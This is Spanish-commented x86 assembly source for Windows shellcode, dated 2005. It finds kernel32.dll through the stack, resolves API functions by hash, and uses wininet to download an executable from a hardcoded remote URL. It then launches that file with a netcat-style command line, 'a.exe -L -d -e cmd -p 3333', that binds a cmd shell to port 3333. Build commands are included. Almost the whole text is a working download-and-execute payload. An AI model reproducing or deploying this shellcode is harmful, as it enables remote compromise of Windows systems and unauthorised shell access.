;http://www.badchecksum.com ;simkin - 2005 ; ; Shellcode que utiliza las tecnicas topstack y download&execute ; topstack: ; Obtiene un puntero que siempre es igual en fs:esi + 0x18 ; y que apunta a un lugar en kernel32.dll, despues lo recorre ; hasta encontrar 2 bytes "MZ" que indican la base del modulo y ; por lo tanto la base de kernel32.dll ; download&execute: ; Utiliza la api wininet.dll y sus funciones InternetReadFile(), ; InternetOpenA() y InternetOpenUrlA() para bajar un ejecutable ; mediante http desde un servidor remoto. Despues lo ejecuta con ; CreateProcess() de kernel32.dll ; ; NOTAS: ; - Hay que tener cuidado con la cantidad de bytes que usamos de la pila ; sobretodo al cambiar la url, modificando la linea 136: ; sub esp, 0xC0 ;192 bytes de espacio para nuestros datos ; podemos incrementar el espacio que usamos, tambien habra que ; cambiar el offset de la linea de comandos en la linea 331: ; lea ecx, [ebp + 0x63] ;ecx = puntero a 'a.exe -L -d -e cmd -p 3333' ; pues la cadena se vera desplazada por la url que va delante y en la 173: ; lea edi, [ebp + 0x63] ; ; COMPILACION: ; nasmw -f win32 shellcode.asm ; alink -oPE -entry main shellcode.obj ; ; TODO: ; - No se han eliminado los 00's ; - Seria buena idea implementar polimorfismo [segment .text] [global main] main: jmp initialize_url_bnc_1 ;find_kernel32() encuentra la base del kernel ;mediante el metodo TOPSTACK find_kernel32: push esi xor esi, esi mov esi, [fs:esi + 0x18] lodsd lodsd mov eax, [eax - 0x1c] find_kernel32_base: find_kernel32_base_loop: dec eax xor ax, ax cmp word [eax], 0x5a4d jne find_kernel32_base_loop find_kernel32_base_finished: pop esi ret ;#################### ;find_function() dado el hash de una funcion ;encuentra su correspondiente direccion find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 0x78] add edx, ebp mov ecx, [edx + 0x18] mov ebx, [edx + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp compute_hash: xor edi, edi xor eax, eax cld compute_hash_again: lodsb test al, al jz compute_hash_finished ror edi, 0xd add edi, eax jmp compute_hash_again compute_hash_finished: cmp edi, [esp + 0x28] jnz find_function_loop mov ebx, [edx + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp mov [esp + 0x1c], eax find_function_finished: popad ret ;#################### initialize_url_bnc_1: jmp initialize_url_bnc_2 resolve_symbols_for_dll: lodsd ;eax = esi push eax push edx call find_function mov [edi], eax add esp, 0x08 add edi, 0x04 cmp esi, ecx jne resolve_symbols_for_dll resolve_symbols_for_dll_finished: ret kernel32_symbol_hashes: db 0x8e,0x4e,0x0e,0xec db 0xa5,0x17,0x01,0x7c db 0x1f,0x79,0x0a,0xe8 db 0xfb,0x97,0xfd,0x0f db 0x72,0xfe,0xb3,0x16 db 0x7e,0xd8,0xe2,0x73 wininet_symbol_hashes: db 0x29,0x44,0xe8,0x57 db 0x49,0xed,0x0f,0x7e db 0x8b,0x4b,0xe3,0x5f ;(Podriamos llamarlo main() aunque la ejecucion no empiece aqui) startup: ;esi = direccion de la cadena al final de la shellcode ;(el call startup pusheo su direccion) pop esi sub esp, 0xC0 ;192 bytes de espacio para nuestros datos ;sub esp, 0x7c mov ebp, esp ;eax = direccion base de kernel32.dll call find_kernel32 mov edx, eax ;eax = direccion de pop eax jmp get_absolute_address_forward get_absolute_address_middle: jmp get_absolute_address_end get_absolute_address_forward: call get_absolute_address_middle get_absolute_address_end: pop eax jmp initialize_url_bnc_2_skip initialize_url_bnc_2: jmp initialize_url_bnc_3 initialize_url_bnc_2_skip: ;Copiamos la url y los argumentos de netcat a la pila ;y sustituimos su 0xff final por 0x00 copy_download_url: ;Copiamos la url lea edi, [ebp + 0x40] copy_download_url_loop: movsb cmp byte [esi - 0x01], 0xff jne copy_download_url_loop dec edi not byte [edi] ;Copiamos la linea de comandos lea edi, [ebp + 0x65] copy_cmdline_loop: movsb cmp byte [esi - 0x01], 0xff jne copy_cmdline_loop dec edi not byte [edi] ;#################### ;Resolvemos las direcciones de las funciones de kernel32.dll resolve_kernel32_symbols: mov esi, eax ;esi = direccion de pop eax sub esi, 0x3a+0x09 ;esi = direccion 1º hash ;convierte el 0x00 del hash de writefile de 0x01 a 0x00 (necesitamos escritura) dec byte [esi + 0x06] lea edi, [ebp + 0x04] mov ecx, esi ;ecx = direccion 1º hash add ecx, 0x18 ;ecx = direccion ultimo hash kernel32 call resolve_symbols_for_dll ;Resolvemos las direcciones de las funciones de wininet.dll resolve_wininet_symbols: add ecx, 0x0c ;ecx = direccion ultimo hash wininet ;ponemos "wininet" en la pila mov eax, 0x74656e01 sar eax, 0x08 push eax push dword 0x696e6977 mov ebx, esp push ecx push edx push ebx ;LoadLibraryA("wininet"); call [ebp + 0x04] pop edx pop ecx mov edx, eax call resolve_symbols_for_dll ;#################### ;InternetOpenA() xor eax, eax push eax push eax push eax push eax push eax call [ebp + 0x1c] mov [ebp + 0x34], eax ; Guardamos el handler en la pila ;InternetOpenUrlA(); xor eax, eax push eax push eax push eax push eax lea ebx, [ebp + 0x40] push ebx push dword [ebp + 0x34] call [ebp + 0x20] mov [ebp + 0x38], eax ; Guardamos el handler en la pila jmp initialize_url_bnc_3_skip initialize_url_bnc_3: jmp initialize_url_bnc_4 initialize_url_bnc_3_skip: ;CreateFile(...) "a.exe" xor eax, eax mov al, 0x65 push eax push dword 0x78652e61 mov [ebp + 0x30], esp xor eax, eax push eax mov al, 0x82 push eax mov al, 0x02 push eax xor al, al push eax push eax mov al, 0x40 sal eax, 0x18 push eax push dword [ebp + 0x30] call [ebp + 0x08] mov [ebp + 0x3c], eax ;Empieza la descarga xor eax, eax mov ax, 0x010c sub esp, eax mov esi, esp download_loop: ;InternetReadFile() lea ebx, [esi + 0x04] push ebx mov ax, 0x0104 push eax lea eax, [esi + 0x08] push eax push dword [ebp + 0x38] call [ebp + 0x24] mov eax, [esi + 0x04] test eax, eax jz download_finished ;WriteFile() xor eax, eax push eax lea eax, [esi + 0x04] push eax push dword [esi + 0x04] lea eax, [esi + 0x08] push eax push dword [ebp + 0x3c] call [ebp + 0x0c] jmp download_loop download_finished: ;CloseHandle() push dword [ebp + 0x3c] ;handle del archivo call [ebp + 0x10] ;Liberamos la memoria xor eax, eax mov ax, 0x010c add esp, eax jmp initialize_url_bnc_4_skip initialize_url_bnc_4: jmp initialize_url_bnc_end initialize_url_bnc_4_skip: ;Ponemos a cero la memoria xor ecx, ecx mov cl, 0x54 sub esp, ecx mov edi, esp xor eax, eax rep stosb ;Pone a cero edi hasta q ecx vale 0 ;CreateProcess() mov edi, esp mov byte [edi], 0x44 lea esi, [edi + 0x44] push esi push edi push eax push eax push eax push eax push eax push eax lea ecx, [ebp + 0x65] ;ecx = puntero a 'a.exe -L -d -e cmd -p 3333' push ecx push eax call [ebp + 0x14] ;ExitProcess() call [ebp + 0x18] initialize_url_bnc_end: call startup db 'http://www.badchecksum.com/tmp/a.exe',0xff,'a.exe -L -d -e cmd -p 3333',0xff